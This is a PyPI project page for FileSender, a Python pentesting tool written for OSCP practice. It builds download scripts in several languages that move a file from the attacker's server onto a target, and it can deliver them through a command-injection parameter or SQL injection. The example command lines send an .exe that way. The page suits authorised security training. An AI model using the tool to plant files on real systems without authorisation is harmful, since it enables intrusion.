Skip to main content

Create script into different language to download a file form a server . Can be useful to send file via a SQLi.

Project description

PyPi License Donate Beerpay

Table of Contents


Project URL :

FileSender was created to be used for OSCP certification. It's aims to generate a script to upload a file to a target in different languages. The base mechanism is the following :

  • Copy the file in a tempory directory
  • Start a server (if required)
  • Create the script to download the file from the server or to build the file
  • Send the script to the target


FileSender run on Python 2.7 can't work correctly without the following tools

The following tools are required:

  • upx (/usr/bin/upx)
  • exe2bat.exe
  • wine


sudo pip install filesender


Option Shortcut Description
file The path to file to send
method the language of the script (powershell,hex,ftp,wget,vbscript,exe2bat)
type the type of output/sending method (print / get / post)
dest the destination directory on the target
--server-ip The local ip address
--server-port The local port
--url -u The Target URL
--params -p A json {key:value} where value=<SCRIPT> when should be replace by the script
--cookies -c The cookies json
--timeout The timeout for server


  • filesender /path/to/my/file.exe wget get /path/on/the/target --server-ip --server-port 80 -u -p {\"cmd\":\"<SCRIPT>\"} -c {} --timeout 10
  • filesender /path/to/my/file.exe ftp print /path/on/the/target
  • filesender /path/to/my/file.exe wget get /path/on/the/target --server-ip --server-port 80 -u -p {\"cmd\":\"<SCRIPT>\"}

Issues management

For contributions or suggestions, please open an Issue and clearly explain, using an example or a use case if appropriate.

Project details

Download files

Download the file for your platform. If you're not sure which to choose, learn more about installing packages.

Source Distribution

filesender-1.2.1.tar.gz (7.0 kB view hashes)

Uploaded Source

Built Distribution

filesender-1.2.1-py2-none-any.whl (22.3 kB view hashes)

Uploaded Python 2

Supported by

AWS AWS Cloud computing and Security Sponsor Datadog Datadog Monitoring Fastly Fastly CDN Google Google Download Analytics Microsoft Microsoft PSF Sponsor Pingdom Pingdom Monitoring Sentry Sentry Error logging StatusPage StatusPage Status page